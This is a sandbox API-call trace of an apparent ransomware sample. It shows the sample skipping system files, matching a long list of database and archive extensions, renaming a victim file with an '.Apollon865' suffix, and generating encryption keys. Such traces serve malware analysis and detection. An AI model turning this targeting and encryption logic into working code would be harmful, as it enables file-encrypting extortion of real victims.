	[0057.002] lstrlenW (lpString="ara32.clx") returned 9
	[0057.002] lstrcpyW (in: lpString1=0x2d3e600, lpString2="araphon.env" | out: lpString1="araphon.env") returned="araphon.env"
	[0057.002] lstrlenW (lpString="araphon.env") returned 11
	[0057.002] lstrlenW (lpString="Apollon865") returned 10
	[0057.002] lstrcmpiW (lpString1="raphon.env", lpString2="Apollon865") returned 1
	[0057.002] lstrlenW (lpString=".dll") returned 4
	[0057.002] lstrcmpiW (lpString1="araphon.env", lpString2=".dll") returned 1
	[0057.002] lstrlenW (lpString=".lnk") returned 4
	[0057.002] lstrcmpiW (lpString1="araphon.env", lpString2=".lnk") returned 1
	[0057.002] lstrlenW (lpString=".ini") returned 4
	[0057.002] lstrcmpiW (lpString1="araphon.env", lpString2=".ini") returned 1
	[0057.002] lstrlenW (lpString=".sys") returned 4
	[0057.002] lstrcmpiW (lpString1="araphon.env", lpString2=".sys") returned 1
	[0057.002] lstrlenW (lpString="araphon.env") returned 11
	[0057.003] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\araphon.env.Apollon865") returned 110
	[0057.003] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\araphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\araphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\araphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\araphon.env.apollon865"), dwFlags=0x1) returned 1
	[0057.005] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\araphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\araphon.env.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0057.005] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=15600) returned 1
	[0057.006] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0057.006] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0057.006] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0057.006] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0057.007] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0057.007] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.007] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ff0, lpName=0x0) returned 0x15c
	[0057.009] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ff0) returned 0x120000
	[0057.011] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0057.012] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0057.012] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0057.012] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0057.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0057.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0057.012] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0057.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0057.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0057.012] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0057.012] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0057.012] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0057.012] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0057.013] CloseHandle (hObject=0x15c) returned 1
	[0057.013] CloseHandle (hObject=0xc0) returned 1
	[0057.013] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0057.013] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0057.013] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0057.013] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x128c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brt.fca", cAlternateFileName="")) returned 1
	[0057.013] lstrcmpiW (lpString1="brt.fca", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.013] lstrcmpiW (lpString1="brt.fca", lpString2="Apollon865.txt.exe") returned 1
	[0057.013] lstrcmpiW (lpString1="brt.fca", lpString2=".") returned 1
	[0057.013] lstrcmpiW (lpString1="brt.fca", lpString2="..") returned 1
	[0057.013] lstrcmpiW (lpString1="brt.fca", lpString2="windows") returned -1
	[0057.013] lstrcmpiW (lpString1="brt.fca", lpString2="bootmgr") returned 1
	[0057.013] lstrcmpiW (lpString1="brt.fca", lpString2="temp") returned -1
	[0057.013] lstrcmpiW (lpString1="brt.fca", lpString2="pagefile.sys") returned -1
	[0057.013] lstrcmpiW (lpString1="brt.fca", lpString2="boot") returned 1
	[0057.013] lstrcmpiW (lpString1="brt.fca", lpString2="ids.txt") returned -1
	[0057.013] lstrcmpiW (lpString1="brt.fca", lpString2="ntuser.dat") returned -1
	[0057.013] lstrcmpiW (lpString1="brt.fca", lpString2="perflogs") returned -1
	[0057.013] lstrcmpiW (lpString1="brt.fca", lpString2="MSBuild") returned -1
	[0057.013] lstrlenW (lpString="brt.fca") returned 7
	[0057.014] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\araphon.env") returned 99
	[0057.014] lstrcpyW (in: lpString1=0x2d3e600, lpString2="brt.fca" | out: lpString1="brt.fca") returned="brt.fca"
	[0057.014] lstrlenW (lpString="brt.fca") returned 7
	[0057.014] lstrlenW (lpString="Apollon865") returned 10
	[0057.014] lstrlenW (lpString=".dll") returned 4
	[0057.014] lstrcmpiW (lpString1="brt.fca", lpString2=".dll") returned 1
	[0057.014] lstrlenW (lpString=".lnk") returned 4
	[0057.014] lstrcmpiW (lpString1="brt.fca", lpString2=".lnk") returned 1
	[0057.014] lstrlenW (lpString=".ini") returned 4
	[0057.014] lstrcmpiW (lpString1="brt.fca", lpString2=".ini") returned 1
	[0057.014] lstrlenW (lpString=".sys") returned 4
	[0057.014] lstrcmpiW (lpString1="brt.fca", lpString2=".sys") returned 1
	[0057.014] lstrlenW (lpString="brt.fca") returned 7
	[0057.014] lstrlenW (lpString="bak") returned 3
	[0057.014] lstrcmpiW (lpString1="fca", lpString2="bak") returned 1
	[0057.014] lstrlenW (lpString="ba_") returned 3
	[0057.014] lstrcmpiW (lpString1="fca", lpString2="ba_") returned 1
	[0057.014] lstrlenW (lpString="dbb") returned 3
	[0057.014] lstrcmpiW (lpString1="fca", lpString2="dbb") returned 1
	[0057.014] lstrlenW (lpString="vmdk") returned 4
	[0057.014] lstrcmpiW (lpString1=".fca", lpString2="vmdk") returned -1
	[0057.014] lstrlenW (lpString="rar") returned 3
	[0057.014] lstrcmpiW (lpString1="fca", lpString2="rar") returned -1
	[0057.014] lstrlenW (lpString="zip") returned 3
	[0057.014] lstrcmpiW (lpString1="fca", lpString2="zip") returned -1
	[0057.014] lstrlenW (lpString="tgz") returned 3
	[0057.014] lstrcmpiW (lpString1="fca", lpString2="tgz") returned -1
	[0057.014] lstrlenW (lpString="vbox") returned 4
	[0057.014] lstrcmpiW (lpString1=".fca", lpString2="vbox") returned -1
	[0057.014] lstrlenW (lpString="vdi") returned 3
	[0057.014] lstrcmpiW (lpString1="fca", lpString2="vdi") returned -1
	[0057.014] lstrlenW (lpString="vhd") returned 3
	[0057.014] lstrcmpiW (lpString1="fca", lpString2="vhd") returned -1
	[0057.015] lstrlenW (lpString="vhdx") returned 4
	[0057.015] lstrcmpiW (lpString1=".fca", lpString2="vhdx") returned -1
	[0057.015] lstrlenW (lpString="avhd") returned 4
	[0057.015] lstrcmpiW (lpString1=".fca", lpString2="avhd") returned -1
	[0057.015] lstrlenW (lpString="db") returned 2
	[0057.015] lstrcmpiW (lpString1="ca", lpString2="db") returned -1
	[0057.015] lstrlenW (lpString="db2") returned 3
	[0057.015] lstrcmpiW (lpString1="fca", lpString2="db2") returned 1
	[0057.015] lstrlenW (lpString="db3") returned 3
	[0057.015] lstrcmpiW (lpString1="fca", lpString2="db3") returned 1
	[0057.015] lstrlenW (lpString="dbf") returned 3
	[0057.015] lstrcmpiW (lpString1="fca", lpString2="dbf") returned 1
	[0057.015] lstrlenW (lpString="mdf") returned 3
	[0057.015] lstrcmpiW (lpString1="fca", lpString2="mdf") returned -1
	[0057.015] lstrlenW (lpString="mdb") returned 3
	[0057.015] lstrcmpiW (lpString1="fca", lpString2="mdb") returned -1
	[0057.015] lstrlenW (lpString="sql") returned 3
	[0057.015] lstrcmpiW (lpString1="fca", lpString2="sql") returned -1
	[0057.015] lstrlenW (lpString="sqlite") returned 6
	[0057.015] lstrcmpiW (lpString1="rt.fca", lpString2="sqlite") returned -1
	[0057.015] lstrlenW (lpString="sqlite3") returned 7
	[0057.015] lstrlenW (lpString="sqlitedb") returned 8
	[0057.015] lstrlenW (lpString="xml") returned 3
	[0057.015] lstrcmpiW (lpString1="fca", lpString2="xml") returned -1
	[0057.015] lstrlenW (lpString="$er") returned 3
	[0057.015] lstrcmpiW (lpString1="fca", lpString2="$er") returned 1
	[0057.015] lstrlenW (lpString="4dd") returned 3
	[0057.015] lstrcmpiW (lpString1="fca", lpString2="4dd") returned 1
	[0057.015] lstrlenW (lpString="4dl") returned 3
	[0057.015] lstrcmpiW (lpString1="fca", lpString2="4dl") returned 1
	[0057.015] lstrlenW (lpString="^^^") returned 3
	[0057.015] lstrcmpiW (lpString1="fca", lpString2="^^^") returned 1
	[0057.015] lstrlenW (lpString="abs") returned 3
	[0057.016] lstrcmpiW (lpString1="fca", lpString2="abs") returned 1
	[0057.016] lstrlenW (lpString="abx") returned 3
	[0057.016] lstrcmpiW (lpString1="fca", lpString2="abx") returned 1
	[0057.016] lstrlenW (lpString="accdb") returned 5
	[0057.016] lstrcmpiW (lpString1="t.fca", lpString2="accdb") returned 1
	[0057.016] lstrlenW (lpString="accdc") returned 5
	[0057.016] lstrcmpiW (lpString1="t.fca", lpString2="accdc") returned 1
	[0057.016] lstrlenW (lpString="accde") returned 5
	[0057.016] lstrcmpiW (lpString1="t.fca", lpString2="accde") returned 1
	[0057.016] lstrlenW (lpString="accdr") returned 5
	[0057.016] lstrcmpiW (lpString1="t.fca", lpString2="accdr") returned 1
	[0057.016] lstrlenW (lpString="accdt") returned 5
	[0057.016] lstrcmpiW (lpString1="t.fca", lpString2="accdt") returned 1
	[0057.016] lstrlenW (lpString="accdw") returned 5
	[0057.016] lstrcmpiW (lpString1="t.fca", lpString2="accdw") returned 1
	[0057.016] lstrlenW (lpString="accft") returned 5
	[0057.016] lstrcmpiW (lpString1="t.fca", lpString2="accft") returned 1
	[0057.016] lstrlenW (lpString="adb") returned 3
	[0057.016] lstrcmpiW (lpString1="fca", lpString2="adb") returned 1
	[0057.016] lstrlenW (lpString="adb") returned 3
	[0057.016] lstrcmpiW (lpString1="fca", lpString2="adb") returned 1
	[0057.016] lstrlenW (lpString="ade") returned 3
	[0057.016] lstrcmpiW (lpString1="fca", lpString2="ade") returned 1
	[0057.016] lstrlenW (lpString="adf") returned 3
	[0057.016] lstrcmpiW (lpString1="fca", lpString2="adf") returned 1
	[0057.016] lstrlenW (lpString="adn") returned 3
	[0057.016] lstrcmpiW (lpString1="fca", lpString2="adn") returned 1
	[0057.016] lstrlenW (lpString="adp") returned 3
	[0057.016] lstrcmpiW (lpString1="fca", lpString2="adp") returned 1
	[0057.016] lstrlenW (lpString="alf") returned 3
	[0057.016] lstrcmpiW (lpString1="fca", lpString2="alf") returned 1
	[0057.016] lstrlenW (lpString="ask") returned 3
	[0057.016] lstrcmpiW (lpString1="fca", lpString2="ask") returned 1
	[0057.016] lstrlenW (lpString="btr") returned 3
	[0057.017] lstrcmpiW (lpString1="fca", lpString2="btr") returned 1
	[0057.017] lstrlenW (lpString="cat") returned 3
	[0057.017] lstrcmpiW (lpString1="fca", lpString2="cat") returned 1
	[0057.017] lstrlenW (lpString="cdb") returned 3
	[0057.017] lstrcmpiW (lpString1="fca", lpString2="cdb") returned 1
	[0057.017] lstrlenW (lpString="ckp") returned 3
	[0057.017] lstrcmpiW (lpString1="fca", lpString2="ckp") returned 1
	[0057.017] lstrlenW (lpString="cma") returned 3
	[0057.017] lstrcmpiW (lpString1="fca", lpString2="cma") returned 1
	[0057.017] lstrlenW (lpString="cpd") returned 3
	[0057.017] lstrcmpiW (lpString1="fca", lpString2="cpd") returned 1
	[0057.017] lstrlenW (lpString="dacpac") returned 6
	[0057.017] lstrcmpiW (lpString1="rt.fca", lpString2="dacpac") returned 1
	[0057.017] lstrlenW (lpString="dad") returned 3
	[0057.017] lstrcmpiW (lpString1="fca", lpString2="dad") returned 1
	[0057.017] lstrlenW (lpString="dadiagrams") returned 10
	[0057.017] lstrlenW (lpString="daschema") returned 8
	[0057.017] lstrlenW (lpString="db-journal") returned 10
	[0057.017] lstrlenW (lpString="db-shm") returned 6
	[0057.017] lstrcmpiW (lpString1="rt.fca", lpString2="db-shm") returned 1
	[0057.017] lstrlenW (lpString="db-wal") returned 6
	[0057.017] lstrcmpiW (lpString1="rt.fca", lpString2="db-wal") returned 1
	[0057.017] lstrlenW (lpString="dbc") returned 3
	[0057.017] lstrcmpiW (lpString1="fca", lpString2="dbc") returned 1
	[0057.017] lstrlenW (lpString="dbs") returned 3
	[0057.017] lstrcmpiW (lpString1="fca", lpString2="dbs") returned 1
	[0057.017] lstrlenW (lpString="dbt") returned 3
	[0057.017] lstrcmpiW (lpString1="fca", lpString2="dbt") returned 1
	[0057.017] lstrlenW (lpString="dbv") returned 3
	[0057.017] lstrcmpiW (lpString1="fca", lpString2="dbv") returned 1
	[0057.017] lstrlenW (lpString="dbx") returned 3
	[0057.017] lstrcmpiW (lpString1="fca", lpString2="dbx") returned 1
	[0057.017] lstrlenW (lpString="dcb") returned 3
	[0057.017] lstrcmpiW (lpString1="fca", lpString2="dcb") returned 1
	[0057.018] lstrlenW (lpString="dct") returned 3
	[0057.018] lstrcmpiW (lpString1="fca", lpString2="dct") returned 1
	[0057.018] lstrlenW (lpString="dcx") returned 3
	[0057.018] lstrcmpiW (lpString1="fca", lpString2="dcx") returned 1
	[0057.018] lstrlenW (lpString="ddl") returned 3
	[0057.018] lstrcmpiW (lpString1="fca", lpString2="ddl") returned 1
	[0057.018] lstrlenW (lpString="dlis") returned 4
	[0057.018] lstrcmpiW (lpString1=".fca", lpString2="dlis") returned -1
	[0057.018] lstrlenW (lpString="dp1") returned 3
	[0057.018] lstrcmpiW (lpString1="fca", lpString2="dp1") returned 1
	[0057.018] lstrlenW (lpString="dqy") returned 3
	[0057.018] lstrcmpiW (lpString1="fca", lpString2="dqy") returned 1
	[0057.018] lstrlenW (lpString="dsk") returned 3
	[0057.018] lstrcmpiW (lpString1="fca", lpString2="dsk") returned 1
	[0057.018] lstrlenW (lpString="dsn") returned 3
	[0057.018] lstrcmpiW (lpString1="fca", lpString2="dsn") returned 1
	[0057.018] lstrlenW (lpString="dtsx") returned 4
	[0057.018] lstrcmpiW (lpString1=".fca", lpString2="dtsx") returned -1
	[0057.018] lstrlenW (lpString="dxl") returned 3
	[0057.018] lstrcmpiW (lpString1="fca", lpString2="dxl") returned 1
	[0057.018] lstrlenW (lpString="eco") returned 3
	[0057.018] lstrcmpiW (lpString1="fca", lpString2="eco") returned 1
	[0057.018] lstrlenW (lpString="ecx") returned 3
	[0057.018] lstrcmpiW (lpString1="fca", lpString2="ecx") returned 1
	[0057.018] lstrlenW (lpString="edb") returned 3
	[0057.018] lstrcmpiW (lpString1="fca", lpString2="edb") returned 1
	[0057.018] lstrlenW (lpString="epim") returned 4
	[0057.018] lstrcmpiW (lpString1=".fca", lpString2="epim") returned -1
	[0057.018] lstrlenW (lpString="fcd") returned 3
	[0057.018] lstrcmpiW (lpString1="fca", lpString2="fcd") returned -1
	[0057.019] lstrlenW (lpString="fdb") returned 3
	[0057.019] lstrcmpiW (lpString1="fca", lpString2="fdb") returned -1
	[0057.019] lstrlenW (lpString="fic") returned 3
	[0057.019] lstrcmpiW (lpString1="fca", lpString2="fic") returned -1
	[0057.019] lstrlenW (lpString="flexolibrary") returned 12
	[0057.019] lstrlenW (lpString="fm5") returned 3
	[0057.019] lstrcmpiW (lpString1="fca", lpString2="fm5") returned -1
	[0057.019] lstrlenW (lpString="fmp") returned 3
	[0057.019] lstrcmpiW (lpString1="fca", lpString2="fmp") returned -1
	[0057.019] lstrlenW (lpString="fmp12") returned 5
	[0057.019] lstrcmpiW (lpString1="t.fca", lpString2="fmp12") returned 1
	[0057.019] lstrlenW (lpString="fmpsl") returned 5
	[0057.019] lstrcmpiW (lpString1="t.fca", lpString2="fmpsl") returned 1
	[0057.019] lstrlenW (lpString="fol") returned 3
	[0057.019] lstrcmpiW (lpString1="fca", lpString2="fol") returned -1
	[0057.019] lstrlenW (lpString="fp3") returned 3
	[0057.019] lstrcmpiW (lpString1="fca", lpString2="fp3") returned -1
	[0057.019] lstrlenW (lpString="fp4") returned 3
	[0057.019] lstrcmpiW (lpString1="fca", lpString2="fp4") returned -1
	[0057.019] lstrlenW (lpString="fp5") returned 3
	[0057.019] lstrcmpiW (lpString1="fca", lpString2="fp5") returned -1
	[0057.019] lstrlenW (lpString="fp7") returned 3
	[0057.019] lstrcmpiW (lpString1="fca", lpString2="fp7") returned -1
	[0057.019] lstrlenW (lpString="fpt") returned 3
	[0057.019] lstrcmpiW (lpString1="fca", lpString2="fpt") returned -1
	[0057.019] lstrlenW (lpString="frm") returned 3
	[0057.020] lstrcmpiW (lpString1="fca", lpString2="frm") returned -1
	[0057.020] lstrlenW (lpString="gdb") returned 3
	[0057.020] lstrcmpiW (lpString1="fca", lpString2="gdb") returned -1
	[0057.020] lstrlenW (lpString="gdb") returned 3
	[0057.020] lstrcmpiW (lpString1="fca", lpString2="gdb") returned -1
	[0057.020] lstrlenW (lpString="grdb") returned 4
	[0057.020] lstrcmpiW (lpString1=".fca", lpString2="grdb") returned -1
	[0057.020] lstrlenW (lpString="gwi") returned 3
	[0057.020] lstrcmpiW (lpString1="fca", lpString2="gwi") returned -1
	[0057.020] lstrlenW (lpString="hdb") returned 3
	[0057.020] lstrcmpiW (lpString1="fca", lpString2="hdb") returned -1
	[0057.020] lstrlenW (lpString="his") returned 3
	[0057.020] lstrcmpiW (lpString1="fca", lpString2="his") returned -1
	[0057.020] lstrlenW (lpString="ib") returned 2
	[0057.020] lstrcmpiW (lpString1="ca", lpString2="ib") returned -1
	[0057.020] lstrlenW (lpString="idb") returned 3
	[0057.020] lstrcmpiW (lpString1="fca", lpString2="idb") returned -1
	[0057.020] lstrlenW (lpString="ihx") returned 3
	[0057.020] lstrcmpiW (lpString1="fca", lpString2="ihx") returned -1
	[0057.020] lstrlenW (lpString="itdb") returned 4
	[0057.020] lstrcmpiW (lpString1=".fca", lpString2="itdb") returned -1
	[0057.020] lstrlenW (lpString="itw") returned 3
	[0057.020] lstrcmpiW (lpString1="fca", lpString2="itw") returned -1
	[0057.020] lstrlenW (lpString="jet") returned 3
	[0057.020] lstrcmpiW (lpString1="fca", lpString2="jet") returned -1
	[0057.020] lstrlenW (lpString="jtx") returned 3
	[0057.020] lstrcmpiW (lpString1="fca", lpString2="jtx") returned -1
	[0057.020] lstrlenW (lpString="kdb") returned 3
	[0057.020] lstrcmpiW (lpString1="fca", lpString2="kdb") returned -1
	[0057.020] lstrlenW (lpString="kexi") returned 4
	[0057.020] lstrcmpiW (lpString1=".fca", lpString2="kexi") returned -1
	[0057.020] lstrlenW (lpString="kexic") returned 5
	[0057.020] lstrcmpiW (lpString1="t.fca", lpString2="kexic") returned 1
	[0057.020] lstrlenW (lpString="kexis") returned 5
	[0057.020] lstrcmpiW (lpString1="t.fca", lpString2="kexis") returned 1
	[0057.021] lstrlenW (lpString="lgc") returned 3
	[0057.021] lstrcmpiW (lpString1="fca", lpString2="lgc") returned -1
	[0057.021] lstrlenW (lpString="lwx") returned 3
	[0057.021] lstrcmpiW (lpString1="fca", lpString2="lwx") returned -1
	[0057.021] lstrlenW (lpString="maf") returned 3
	[0057.021] lstrcmpiW (lpString1="fca", lpString2="maf") returned -1
	[0057.021] lstrlenW (lpString="maq") returned 3
	[0057.021] lstrcmpiW (lpString1="fca", lpString2="maq") returned -1
	[0057.021] lstrlenW (lpString="mar") returned 3
	[0057.021] lstrcmpiW (lpString1="fca", lpString2="mar") returned -1
	[0057.021] lstrlenW (lpString="marshal") returned 7
	[0057.021] lstrlenW (lpString="mas") returned 3
	[0057.021] lstrcmpiW (lpString1="fca", lpString2="mas") returned -1
	[0057.021] lstrlenW (lpString="mav") returned 3
	[0057.021] lstrcmpiW (lpString1="fca", lpString2="mav") returned -1
	[0057.021] lstrlenW (lpString="maw") returned 3
	[0057.021] lstrcmpiW (lpString1="fca", lpString2="maw") returned -1
	[0057.021] lstrlenW (lpString="mdbhtml") returned 7
	[0057.021] lstrlenW (lpString="mdn") returned 3
	[0057.021] lstrcmpiW (lpString1="fca", lpString2="mdn") returned -1
	[0057.021] lstrlenW (lpString="mdt") returned 3
	[0057.021] lstrcmpiW (lpString1="fca", lpString2="mdt") returned -1
	[0057.021] lstrlenW (lpString="mfd") returned 3
	[0057.021] lstrcmpiW (lpString1="fca", lpString2="mfd") returned -1
	[0057.021] lstrlenW (lpString="mpd") returned 3
	[0057.021] lstrcmpiW (lpString1="fca", lpString2="mpd") returned -1
	[0057.021] lstrlenW (lpString="mrg") returned 3
	[0057.021] lstrcmpiW (lpString1="fca", lpString2="mrg") returned -1
	[0057.021] lstrlenW (lpString="mud") returned 3
	[0057.021] lstrcmpiW (lpString1="fca", lpString2="mud") returned -1
	[0057.021] lstrlenW (lpString="mwb") returned 3
	[0057.021] lstrcmpiW (lpString1="fca", lpString2="mwb") returned -1
	[0057.021] lstrlenW (lpString="myd") returned 3
	[0057.022] lstrcmpiW (lpString1="fca", lpString2="myd") returned -1
	[0057.022] lstrlenW (lpString="ndf") returned 3
	[0057.022] lstrcmpiW (lpString1="fca", lpString2="ndf") returned -1
	[0057.022] lstrlenW (lpString="nnt") returned 3
	[0057.022] lstrcmpiW (lpString1="fca", lpString2="nnt") returned -1
	[0057.022] lstrlenW (lpString="nrmlib") returned 6
	[0057.022] lstrcmpiW (lpString1="rt.fca", lpString2="nrmlib") returned 1
	[0057.022] lstrlenW (lpString="ns2") returned 3
	[0057.022] lstrcmpiW (lpString1="fca", lpString2="ns2") returned -1
	[0057.022] lstrlenW (lpString="ns3") returned 3
	[0057.022] lstrcmpiW (lpString1="fca", lpString2="ns3") returned -1
	[0057.022] lstrlenW (lpString="ns4") returned 3
	[0057.022] lstrcmpiW (lpString1="fca", lpString2="ns4") returned -1
	[0057.022] lstrlenW (lpString="nsf") returned 3
	[0057.022] lstrcmpiW (lpString1="fca", lpString2="nsf") returned -1
	[0057.022] lstrlenW (lpString="nv") returned 2
	[0057.022] lstrcmpiW (lpString1="ca", lpString2="nv") returned -1
	[0057.022] lstrlenW (lpString="nv2") returned 3
	[0057.022] lstrcmpiW (lpString1="fca", lpString2="nv2") returned -1
	[0057.022] lstrlenW (lpString="nwdb") returned 4
	[0057.022] lstrcmpiW (lpString1=".fca", lpString2="nwdb") returned -1
	[0057.022] lstrlenW (lpString="nyf") returned 3
	[0057.022] lstrcmpiW (lpString1="fca", lpString2="nyf") returned -1
	[0057.022] lstrlenW (lpString="odb") returned 3
	[0057.022] lstrcmpiW (lpString1="fca", lpString2="odb") returned -1
	[0057.022] lstrlenW (lpString="odb") returned 3
	[0057.022] lstrcmpiW (lpString1="fca", lpString2="odb") returned -1
	[0057.022] lstrlenW (lpString="oqy") returned 3
	[0057.022] lstrcmpiW (lpString1="fca", lpString2="oqy") returned -1
	[0057.022] lstrlenW (lpString="ora") returned 3
	[0057.022] lstrcmpiW (lpString1="fca", lpString2="ora") returned -1
	[0057.022] lstrlenW (lpString="orx") returned 3
	[0057.022] lstrcmpiW (lpString1="fca", lpString2="orx") returned -1
	[0057.022] lstrlenW (lpString="owc") returned 3
	[0057.023] lstrcmpiW (lpString1="fca", lpString2="owc") returned -1
	[0057.023] lstrlenW (lpString="p96") returned 3
	[0057.023] lstrcmpiW (lpString1="fca", lpString2="p96") returned -1
	[0057.023] lstrlenW (lpString="p97") returned 3
	[0057.023] lstrcmpiW (lpString1="fca", lpString2="p97") returned -1
	[0057.023] lstrlenW (lpString="pan") returned 3
	[0057.023] lstrcmpiW (lpString1="fca", lpString2="pan") returned -1
	[0057.023] lstrlenW (lpString="pdb") returned 3
	[0057.023] lstrcmpiW (lpString1="fca", lpString2="pdb") returned -1
	[0057.023] lstrlenW (lpString="pdm") returned 3
	[0057.023] lstrcmpiW (lpString1="fca", lpString2="pdm") returned -1
	[0057.023] lstrlenW (lpString="pnz") returned 3
	[0057.023] lstrcmpiW (lpString1="fca", lpString2="pnz") returned -1
	[0057.023] lstrlenW (lpString="qry") returned 3
	[0057.023] lstrcmpiW (lpString1="fca", lpString2="qry") returned -1
	[0057.023] lstrlenW (lpString="qvd") returned 3
	[0057.023] lstrcmpiW (lpString1="fca", lpString2="qvd") returned -1
	[0057.023] lstrlenW (lpString="rbf") returned 3
	[0057.023] lstrcmpiW (lpString1="fca", lpString2="rbf") returned -1
	[0057.023] lstrlenW (lpString="rctd") returned 4
	[0057.023] lstrcmpiW (lpString1=".fca", lpString2="rctd") returned -1
	[0057.023] lstrlenW (lpString="rod") returned 3
	[0057.023] lstrcmpiW (lpString1="fca", lpString2="rod") returned -1
	[0057.023] lstrlenW (lpString="rodx") returned 4
	[0057.023] lstrcmpiW (lpString1=".fca", lpString2="rodx") returned -1
	[0057.023] lstrlenW (lpString="rpd") returned 3
	[0057.023] lstrcmpiW (lpString1="fca", lpString2="rpd") returned -1
	[0057.023] lstrlenW (lpString="rsd") returned 3
	[0057.023] lstrcmpiW (lpString1="fca", lpString2="rsd") returned -1
	[0057.023] lstrlenW (lpString="sas7bdat") returned 8
	[0057.023] lstrlenW (lpString="sbf") returned 3
	[0057.023] lstrcmpiW (lpString1="fca", lpString2="sbf") returned -1
	[0057.023] lstrlenW (lpString="scx") returned 3
	[0057.023] lstrcmpiW (lpString1="fca", lpString2="scx") returned -1
	[0057.024] lstrlenW (lpString="sdb") returned 3
	[0057.024] lstrcmpiW (lpString1="fca", lpString2="sdb") returned -1
	[0057.024] lstrlenW (lpString="sdc") returned 3
	[0057.024] lstrcmpiW (lpString1="fca", lpString2="sdc") returned -1
	[0057.024] lstrlenW (lpString="sdf") returned 3
	[0057.024] lstrcmpiW (lpString1="fca", lpString2="sdf") returned -1
	[0057.024] lstrlenW (lpString="sis") returned 3
	[0057.024] lstrcmpiW (lpString1="fca", lpString2="sis") returned -1
	[0057.024] lstrlenW (lpString="spq") returned 3
	[0057.024] lstrcmpiW (lpString1="fca", lpString2="spq") returned -1
	[0057.024] lstrlenW (lpString="te") returned 2
	[0057.024] lstrcmpiW (lpString1="ca", lpString2="te") returned -1
	[0057.024] lstrlenW (lpString="teacher") returned 7
	[0057.024] lstrlenW (lpString="tmd") returned 3
	[0057.024] lstrcmpiW (lpString1="fca", lpString2="tmd") returned -1
